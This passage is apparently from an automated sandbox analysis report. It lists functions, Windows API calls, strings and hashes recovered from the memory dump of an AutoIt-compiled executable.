Instruction Fuzzy Hash: 0B51B375600204AFD710EF64C886F6A77E5AB58718F18C098FA199F3D3DB71ED428BA1

Uniqueness

Uniqueness Score: -1.00%

Function 002025A0 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 0020261F
IsWindowEnabled.USER32 ref: 0020262D
GetForegroundWindow.USER32(?,?,00000001,?), ref: 0020263A
IsIconic.USER32 ref: 00202648
IsZoomed.USER32 ref: 00202656

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 2749122de849489c6af4d86c5746032f3c28a8e95f61636f1085cc89ae972a49
Instruction ID: 318a5ec2677e58187f393af2cff71ce90377c9365625bf5ced1f26a2885d33fa
Opcode Fuzzy Hash: 2749122de849489c6af4d86c5746032f3c28a8e95f61636f1085cc89ae972a49
Instruction Fuzzy Hash: 6321B1313113118FD7149F16D898B1A7BE9EF94314F59806AE84A8B293DB72EC56CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001CE5F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 001CE60A

Strings

X64, xrefs: 001CE626

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: d82902fcca0f24f35a9277df3381c1cbcb90d95afaf371d71b24a510618f5969
Instruction ID: 64ea87cb703ce611ca7ed976240dd6efef71c9fdd70384dcc5b02c55c6655c00
Opcode Fuzzy Hash: d82902fcca0f24f35a9277df3381c1cbcb90d95afaf371d71b24a510618f5969
Instruction Fuzzy Hash: D4D0C9B481112DEACB94CB90EC8CDDD73BCBB14304F100155F50AE2000D73096488F10

Uniqueness

Uniqueness Score: -1.00%

Function 001DEB81 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 001DEBAA

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 97e2571b0715daad9ef0b33e95da8380b839aae2c65c4b95f552aba8424288a8
Instruction ID: e572f352bc2b77d0bc1431bfb1cafda75b01f299021ff043b2cf6efac4baed4d
Opcode Fuzzy Hash: 97e2571b0715daad9ef0b33e95da8380b839aae2c65c4b95f552aba8424288a8
Instruction Fuzzy Hash: 7ED0E2B61A020129E81D3A3C9D2FE360A88A301753E90824BA4039D796E6C1B9049020

Uniqueness

Uniqueness Score: -1.00%

Function 00200BA0 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00200C44
_wcslen.LIBCMT ref: 00200C7E
_wcslen.LIBCMT ref: 00200CE8
_wcslen.LIBCMT ref: 00200D50
_wcslen.LIBCMT ref: 00200DD4
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00200E24
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00200E63

Part of subcall function 0018FD60: _wcslen.LIBCMT ref: 0018FD6B

Part of subcall function 001D2ACF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 001D2AE8
Part of subcall function 001D2ACF: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 001D2B1A

Strings

GETITEMCOUNT, xrefs: 00200C75, 00200C96
GETSELECTED, xrefs: 00200F40
GETSELECTEDCOUNT, xrefs: 00200DCF, 00200DEA
VIEWCHANGE, xrefs: 00200FD4
SELECTALL, xrefs: 00200E74
ISSELECTED, xrefs: 00200E3C
SELECTINVERT, xrefs: 00200EDD
GETTEXT, xrefs: 00200D4B, 00200D66
SELECTCLEAR, xrefs: 00200E8C
SELECT, xrefs: 00200EA7
GETSUBITEMCOUNT, xrefs: 00200CE3, 00200CFE
DESELECT, xrefs: 00200EFB
FINDITEM, xrefs: 00200F86

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: a177fa53af362be4b8a04a8ad276deb2198732c7676fd9d823a08951d35706d1
Instruction ID: 6262c5bf61fb028e7578eae53e865ff61480eea3752d0e8b848b7cec023c8ce9
Opcode Fuzzy Hash: a177fa53af362be4b8a04a8ad276deb2198732c7676fd9d823a08951d35706d1
Instruction Fuzzy Hash: A4E19F712283428FD714EF24C49092AB3E6FFA8314F14895DF8969B6E2DB30ED55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001724C3 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0017259A
GetSystemMetrics.USER32(00000007), ref: 001725A2
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 001725CD
GetSystemMetrics.USER32(00000008), ref: 001725D5
GetSystemMetrics.USER32(00000004), ref: 001725FA
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00172617
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00172627
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0017265A
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0017266E
GetClientRect.USER32(00000000,000000FF), ref: 0017268C
GetStockObject.GDI32(00000011), ref: 001726A8
SendMessageW.USER32(00000000,00000030,00000000), ref: 001726B3

Part of subcall function 001719CD: GetCursorPos.USER32(?), ref: 001719E1
Part of subcall function 001719CD: ScreenToClient.USER32(00000000,?), ref: 001719FE
Part of subcall function 001719CD: GetAsyncKeyState.USER32(00000001), ref: 00171A23
Part of subcall function 001719CD: GetAsyncKeyState.USER32(00000002), ref: 00171A3D

SetTimer.USER32(00000000,00000000,00000028,0017199C), ref: 001726DA

Strings

AutoIt v3 GUI, xrefs: 00172652

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 1db12c70dff18ff512d6e0b2743b9a77f0905be8ff6d046182ad8a0583e050a6
Instruction ID: fc0957a7faf10c0204db0b224dbc5e8c6eee57b382f6b22304304949ea85cc5d
Opcode Fuzzy Hash: 1db12c70dff18ff512d6e0b2743b9a77f0905be8ff6d046182ad8a0583e050a6
Instruction Fuzzy Hash: 15B18A35A01209EFDB18DFA8DC89BEE7BB4FB48314F108219FA19A7290D774E951CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00208C9B Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00208CB9
_wcslen.LIBCMT ref: 00208CCD
_wcslen.LIBCMT ref: 00208CF0
_wcslen.LIBCMT ref: 00208D13
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00208D51
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00206551), ref: 00208DAD
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00208DE6
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00208E29
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00208E60
FreeLibrary.KERNEL32(?), ref: 00208E6C
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00208E7C
DestroyIcon.USER32(?,?,?,?,?,00206551), ref: 00208E8B
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00208EA8
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00208EB4

Strings

.icl, xrefs: 00208CC7
.exe, xrefs: 00208CE7
Qe , xrefs: 00208CA4, 00208EBA, 00208D64, 00208E3B, 00208DC2
.dll, xrefs: 00208D0A

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl$Qe
API String ID: 799131459-2048720608
Opcode ID: 6c600a2a22b327e67a13f4fe0077969f5b53505c2654c91aef5748bcb308e845
Instruction ID: d477384e749fb02c347b4218c1123be05615728b2642f0b9d985d04b73a1fef9
Opcode Fuzzy Hash: 6c600a2a22b327e67a13f4fe0077969f5b53505c2654c91aef5748bcb308e845
Instruction Fuzzy Hash: FB61DF71510316FEEB14DF64DC85BBF77A8BB18710F108606F955D60D2DBB49AA0CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001FCD16 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001FCE1C
RegCreateKeyExW.ADVAPI32(?,?,00000000,0020DCD0,00000000,?,00000000,?,?), ref: 001FCEA3
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 001FCF03
_wcslen.LIBCMT ref: 001FCF53
_wcslen.LIBCMT ref: 001FCFCE
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 001FD011
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 001FD120
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 001FD1AC
RegCloseKey.ADVAPI32(?), ref: 001FD1E0
RegCloseKey.ADVAPI32(00000000), ref: 001FD1ED
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 001FD2BF

Strings

REG_EXPAND_SZ, xrefs: 001FCF2C
REG_BINARY, xrefs: 001FD272
REG_DWORD, xrefs: 001FD163
REG_MULTI_SZ, xrefs: 001FD054
REG_QWORD, xrefs: 001FD222
REG_SZ, xrefs: 001FCFA3

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 2d71b2f69b68cf99b8718111f29ea7ea65729648ae9bff546dbd5d7c0a3f402d
Instruction ID: 30d986826d8a7dad72a022c5a5c2b273c8c17383e68312b384e2cf887851e700
Opcode Fuzzy Hash: 2d71b2f69b68cf99b8718111f29ea7ea65729648ae9bff546dbd5d7c0a3f402d
Instruction Fuzzy Hash: B81247752042059FDB14EF14C885A2ABBF6FF98714F14849CF99A9B3A2CB31ED41CB81

Uniqueness

Uniqueness Score: -1.00%

Function 001E47D3 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 001E4852
_wcslen.LIBCMT ref: 001E485D
_wcslen.LIBCMT ref: 001E48B4
_wcslen.LIBCMT ref: 001E48F2
GetDriveTypeW.KERNEL32(?), ref: 001E4930
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001E4978
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001E49B3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001E49E1

Strings

close cd wait, xrefs: 001E49CC
wait, xrefs: 001E499E
type cdaudio alias cd wait, xrefs: 001E495B
closed, xrefs: 001E4862, 001E4887, 001E48A0, 001E48D8, 001E48F1
set cd door , xrefs: 001E4982
open, xrefs: 001E48AE, 001E48B3
open , xrefs: 001E493F
close, xrefs: 001E4858, 001E4872

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 38dbd3cb6dc2e07756af151f24133f7f47b7242953e609bd3a10e766922e6ca7
Instruction ID: a97d43dfd42cf01ee5114c8567bfcbf9c8d6861cae6e3ca7bff6d35d669e0840
Opcode Fuzzy Hash: 38dbd3cb6dc2e07756af151f24133f7f47b7242953e609bd3a10e766922e6ca7
Instruction Fuzzy Hash: A471D2715086529FC710EF65C88096EB7F4FFA8768F10892DF896972A2EB30DD45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 001D62AA Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 001D62BD
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 001D62CF
SetWindowTextW.USER32(?,?), ref: 001D62E6
GetDlgItem.USER32(?,000003EA), ref: 001D62FB
SetWindowTextW.USER32(00000000,?), ref: 001D6301
GetDlgItem.USER32(?,000003E9), ref: 001D6311
SetWindowTextW.USER32(00000000,?), ref: 001D6317
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 001D6338
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 001D6352
GetWindowRect.USER32(?,?), ref: 001D635B
_wcslen.LIBCMT ref: 001D63C2
SetWindowTextW.USER32(?,?), ref: 001D63FE
GetDesktopWindow.USER32 ref: 001D6404
GetWindowRect.USER32(00000000), ref: 001D640B
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 001D6462
GetClientRect.USER32(?,?), ref: 001D646F
PostMessageW.USER32(?,00000005,00000000,?), ref: 001D6494
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 001D64BE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: dc34c8a13648d373a3c53f7297ec3d9dae5bb6cb42b35a6686dc0e1d08d7c165
Instruction ID: a85a6256c84026a90bea3c98e878aa57b61b28bbab0d0ea63b9967f345e7fa59
Opcode Fuzzy Hash: dc34c8a13648d373a3c53f7297ec3d9dae5bb6cb42b35a6686dc0e1d08d7c165
Instruction Fuzzy Hash: 8C718D31900705EFDB20DFA8DE49BAEBBF9FF48704F10091AE586A26A0D775E944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001F076B Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 001F0784
LoadCursorW.USER32(00000000,00007F8A), ref: 001F078F
LoadCursorW.USER32(00000000,00007F00), ref: 001F079A
LoadCursorW.USER32(00000000,00007F03), ref: 001F07A5
LoadCursorW.USER32(00000000,00007F8B), ref: 001F07B0
LoadCursorW.USER32(00000000,00007F01), ref: 001F07BB
LoadCursorW.USER32(00000000,00007F81), ref: 001F07C6
LoadCursorW.USER32(00000000,00007F88), ref: 001F07D1
LoadCursorW.USER32(00000000,00007F80), ref: 001F07DC
LoadCursorW.USER32(00000000,00007F86), ref: 001F07E7
LoadCursorW.USER32(00000000,00007F83), ref: 001F07F2
LoadCursorW.USER32(00000000,00007F85), ref: 001F07FD
LoadCursorW.USER32(00000000,00007F82), ref: 001F0808
LoadCursorW.USER32(00000000,00007F84), ref: 001F0813
LoadCursorW.USER32(00000000,00007F04), ref: 001F081E
LoadCursorW.USER32(00000000,00007F02), ref: 001F0829
GetCursorInfo.USER32(?), ref: 001F0839
GetLastError.KERNEL32 ref: 001F087B

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 4e94249556425a7b597972cf92ee3817aaabb991020aab17bf9e083bb1373ccc
Instruction ID: 1f9a255f6909bebc582549fcde590bccabf3270d022cba8c1a028ff48718c3d6
Opcode Fuzzy Hash: 4e94249556425a7b597972cf92ee3817aaabb991020aab17bf9e083bb1373ccc
Instruction Fuzzy Hash: 4B4146B0D043196ADB10DFB68C8986EBFE8FF08754B50452AE11DE7291DB74D901CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00190456 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00190456

Part of subcall function 0019047D: InitializeCriticalSectionAndSpinCount.KERNEL32(0024170C,00000FA0,405F30D1,?,?,?,?,001B2753,000000FF), ref: 001904AC
Part of subcall function 0019047D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,001B2753,000000FF), ref: 001904B7
Part of subcall function 0019047D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,001B2753,000000FF), ref: 001904C8
Part of subcall function 0019047D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 001904DE
Part of subcall function 0019047D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 001904EC
Part of subcall function 0019047D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 001904FA
Part of subcall function 0019047D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00190525
Part of subcall function 0019047D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00190530

___scrt_fastfail.LIBCMT ref: 00190477

Part of subcall function 00190433: __onexit.LIBCMT ref: 00190439

Strings

SleepConditionVariableCS, xrefs: 001904E4
api-ms-win-core-synch-l1-2-0.dll, xrefs: 001904B2
kernel32.dll, xrefs: 001904C3
InitializeConditionVariable, xrefs: 001904D8
WakeAllConditionVariable, xrefs: 001904F2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 381e656e23903683eaab76d0db65271fa9d571e5676fccd52ff38ee9d3bc24d8
Instruction ID: e28bc3b57203926b6c00943d5c783c26946e854f61e165e7d479b03f72604c84
Opcode Fuzzy Hash: 381e656e23903683eaab76d0db65271fa9d571e5676fccd52ff38ee9d3bc24d8
Instruction Fuzzy Hash: 91210B36A45310AFEF166BF8BC4DB69B7E4DB1DB61F014125F905D7290DFB09C808A50

Uniqueness

Uniqueness Score: -1.00%

Function 001F4946 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0020DCD0), ref: 001F4A18
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 001F4A2A
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0020DCD0), ref: 001F4A4F
FreeLibrary.KERNEL32(00000000,?,0020DCD0), ref: 001F4A9B
StringFromGUID2.OLE32(?,?,00000028,?,0020DCD0), ref: 001F4B05
SysFreeString.OLEAUT32(00000009), ref: 001F4BBF
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 001F4C25
SysFreeString.OLEAUT32(?), ref: 001F4C4F

Strings

kernel32.dll, xrefs: 001F4A13
GetModuleHandleExW, xrefs: 001F4A24

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: bfa60e6c7eeef76298e440a3e835a8c6e8f6fe65456afd61ef2f8d0feee3850f
Instruction ID: 81099fc2e3f0d677883a938d6e35a27b32ca128f6f6f634f94c754471e42d8da
Opcode Fuzzy Hash: bfa60e6c7eeef76298e440a3e835a8c6e8f6fe65456afd61ef2f8d0feee3850f
Instruction Fuzzy Hash: B2123F75A00109EFDB14CF94C884EBEBBB5FF45314F158098EA19AB252D735ED46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001DC80C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00242990,000000FF,00000000,00000030), ref: 001DC888
SetMenuItemInfoW.USER32(00242990,00000004,00000000,00000030), ref: 001DC8BD
Sleep.KERNEL32(000001F4), ref: 001DC8CF
GetMenuItemCount.USER32(?), ref: 001DC915
GetMenuItemID.USER32(?,00000000), ref: 001DC932
GetMenuItemID.USER32(?,-00000001), ref: 001DC95E
GetMenuItemID.USER32(?,?), ref: 001DC9A5
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 001DC9EB
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001DCA00
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001DCA21

Strings

0, xrefs: 001DC819

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
